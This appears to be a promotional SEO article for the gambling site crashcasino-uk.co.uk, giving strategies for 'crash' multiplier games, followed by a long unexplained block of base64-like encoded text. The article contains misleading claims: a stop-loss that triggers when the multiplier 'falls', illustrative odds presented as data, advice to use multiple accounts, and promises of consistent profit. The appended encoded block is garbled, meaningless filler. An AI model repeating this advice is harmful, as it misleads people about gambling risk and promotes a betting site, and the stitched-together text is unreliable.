Strategy guides informed betting with crashcasino-uk.co.uk and maximizing gains
The world of online gambling offers a plethora of opportunities, and among the most exhilarating is the “crash” game. This increasingly popular format, prominently featured on platforms like crashcasino-uk.co.uk, presents a unique blend of risk and reward. Players watch a multiplier increase on screen, and the challenge lies in withdrawing their bet before the multiplier “crashes” – a sudden drop to zero. It’s a simple concept, yet deeply engaging, demanding quick reflexes and strategic thinking. The appeal stems from the potential for substantial gains, but also from the inherent thrill of anticipating the unpredictable.
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Unlike traditional casino games with established odds, the crash game relies on a provably fair system, meaning the outcome isn’t predetermined. This transparency adds to its appeal, fostering a sense of trust and control for the player. Understanding the game mechanics and employing effective strategies are crucial for success. The game isn’t just about luck; skillful observation, risk assessment, and disciplined betting can significantly improve your chances of walking away with a profit. This guide will explore various strategies, risk management techniques, and crucial considerations for players venturing into the world of crash games.
Understanding Multipliers and the Crash Point
The core of a crash game revolves around the multiplier and the unpredictable crash point. The multiplier begins at 1.00x and steadily increases over time. This represents the potential return on your initial bet. For example, if you bet £10 at a 2.00x multiplier, you’d receive £20 (your initial bet plus £10 profit) upon cashing out. However, the multiplier doesn’t climb indefinitely; at any moment, it can “crash,” resulting in the loss of your stake. The crash point is determined by a random number generator (RNG), ensuring fairness. Different platforms employ different RNG algorithms, but the underlying principle remains the same: the outcome is unbiased and cannot be predicted with certainty.
The Role of Provably Fair Technology
A key feature distinguishing reputable crash game platforms is the implementation of provably fair technology. This system allows players to verify the legitimacy of each game round. Players can access a cryptographic hash of the server seed and client seed used to generate the outcome. By utilizing specific algorithms and publicly available tools, they can independently confirm that the game wasn’t manipulated. This level of transparency is paramount in building trust and mitigating concerns about fairness within the online gambling industry. Without provably fair systems, the integrity of the game is compromised, and players are left vulnerable to potential fraud. Choosing platforms that prioritize provably fair technology is therefore essential.
| Multiplier |
Potential Payout (Based on £10 Bet) |
Approximate Probability of Crash (Example) |
| 1.50x |
£15 |
30% |
| 2.00x |
£20 |
20% |
| 3.00x |
£30 |
10% |
| 5.00x |
£50 |
5% |
The table above provides a simplified illustration of potential payouts and approximate crash probabilities. It’s crucial to remember that these probabilities are purely illustrative, as the actual crash point is entirely random. Higher multipliers offer greater rewards but come with a significantly increased risk of losing your bet. Understanding this relationship between risk and reward is a fundamental aspect of playing crash games effectively.
Strategic Approaches to Cashing Out
Successfully navigating the crash game requires a well-defined strategy. Randomly cashing out is a recipe for disaster. Several approaches can be employed, each with its own set of advantages and disadvantages. One popular strategy is the "fixed multiplier" method, where you set a predetermined multiplier, such as 2.00x or 3.00x, and consistently cash out at that point. This offers a more controlled risk profile and can yield consistent, albeit smaller, profits. Another approach is the "martingale" system, where you double your bet after each loss, attempting to recoup previous losses with a single win. However, this system can be extremely risky and can quickly deplete your bankroll if you encounter a prolonged losing streak.
Implementing Stop-Loss and Take-Profit Orders
Disciplined bankroll management is crucial, and implementing stop-loss and take-profit orders can be highly effective. A stop-loss order automatically cashes out your bet if the multiplier falls to a certain level, limiting your potential losses. Conversely, a take-profit order automatically cashes out your bet when the multiplier reaches a predetermined target, securing your profits. These orders help remove emotional decision-making from the equation, allowing you to stick to your strategy even during periods of volatility. Setting realistic stop-loss and take-profit levels based on your risk tolerance and bankroll size is essential for long-term success. Many platforms offer these automated features, simplifying the process.
- Fixed Percentage Withdrawal: Cash out a percentage of your bet at a specific multiplier.
- Automated Cashing Out: Utilize platform features to automatically cash out at your chosen multiplier.
- Gradual Withdrawal: Cash out portions of your bet at increasing multipliers.
- Trend Analysis: Observe previous game rounds to identify potential patterns (though past performance is never a guarantee of future results).
These strategies, when combined with sound bankroll management, can significantly increase your chances of consistent profitability. Remember that no strategy guarantees wins, and the element of chance always remains a factor. Adaptability and a willingness to learn are vital attributes for any aspiring crash game player.
Risk Management and Bankroll Control
Perhaps the most important aspect of playing crash games is effective risk management. It's incredibly easy to get caught up in the excitement and wager more than you can afford to lose. A fundamental rule is to only gamble with disposable income – funds you’re prepared to potentially lose without impacting your financial stability. Setting a daily or weekly budget and strictly adhering to it is crucial. Avoid chasing losses, as this often leads to impulsive decisions and further financial setbacks. Think of the crash game as a form of entertainment, and treat your bankroll accordingly.
Calculating Appropriate Bet Sizes
Determining the appropriate bet size is directly linked to bankroll management. A common guideline is to risk only 1-2% of your total bankroll on each bet. This helps to cushion against losing streaks and allows you to weather periods of unfavorable outcomes. For example, if your bankroll is £1000, your bet size should ideally be between £10 and £20. Adjust this percentage based on your risk tolerance and the volatility of the game. Higher volatility requires smaller bet sizes, while lower volatility might allow for slightly larger wagers. Understanding your own risk appetite is paramount.
- Set a Bankroll: Define a specific amount of money dedicated solely to crash games.
- Determine Bet Size: Risk only 1-2% of your bankroll per bet.
- Establish Stop-Loss Limits: Predefine the maximum amount you’re willing to lose in a single session.
- Set Take-Profit Goals: Identify a realistic profit target for each session.
- Stick to Your Plan: Avoid impulsive decisions and deviations from your pre-defined strategy.
By consistently following these guidelines, you can significantly reduce your risk exposure and extend your playing time, increasing your opportunities for success. Disciplined bankroll management isn't about guaranteeing wins, but rather about protecting your capital and maximizing your long-term profitability.
Psychological Considerations and Staying Composed
The fast-paced nature of crash games can be emotionally taxing. The adrenaline rush of watching the multiplier climb, coupled with the fear of a sudden crash, can lead to impulsive decisions. It’s crucial to remain calm and composed, avoiding emotional betting. Don't let previous wins or losses influence your current strategy. Each round is independent, and past outcomes have no bearing on future results. Recognize that losing is an inevitable part of the game, and accept it as such. Tilt – a state of emotional frustration leading to reckless betting – is a common pitfall, and it's vital to identify and mitigate its effects.
Beyond Basic Strategies: Advanced Techniques and Platform Selection
Once you’ve mastered the basic strategies, you can explore more advanced techniques. This might involve analyzing historical data (if available on the platform) to identify potential patterns, but remember that past performance doesn’t guarantee future outcomes. Another advanced technique is to utilize multiple accounts strategically, allowing you to diversify your risk and capitalize on different multipliers. Perhaps more importantly, careful platform selection is key. Not all crash game platforms are created equal. Look for platforms that offer provably fair technology, transparent odds, reliable customer support, and a user-friendly interface, like crashcasino-uk.co.uk. Reading reviews and comparing different platforms is a worthwhile investment. Consider features like auto-cashout options for greater control and convenience, and the availability of welcome bonuses or promotional offers which may bolster your initial bankroll.
The ongoing evolution of crash games means players must remain adaptable and curious. New strategies emerge regularly, often shared within online communities dedicated to the game. Participating in these communities can provide valuable insights, but remember to critically evaluate the information and only implement strategies that align with your risk tolerance and financial goals. Continuously learning and refining your approach is the key to sustained success in this dynamic and exciting form of online entertainment. Responsible gaming practices, coupled with a well-developed strategy, will allow you to maximize enjoyment and minimize potential harm.
Ultimately, the crash game, and platforms offering it, present an engaging test of skill, risk management, and emotional control. The best approach is not to view it as a path to quick riches, but rather as a form of entertainment with carefully considered boundaries. By prioritizing responsible gaming and embracing continuous learning, players can navigate the fluctuating multipliers and increase their chances of a rewarding experience.
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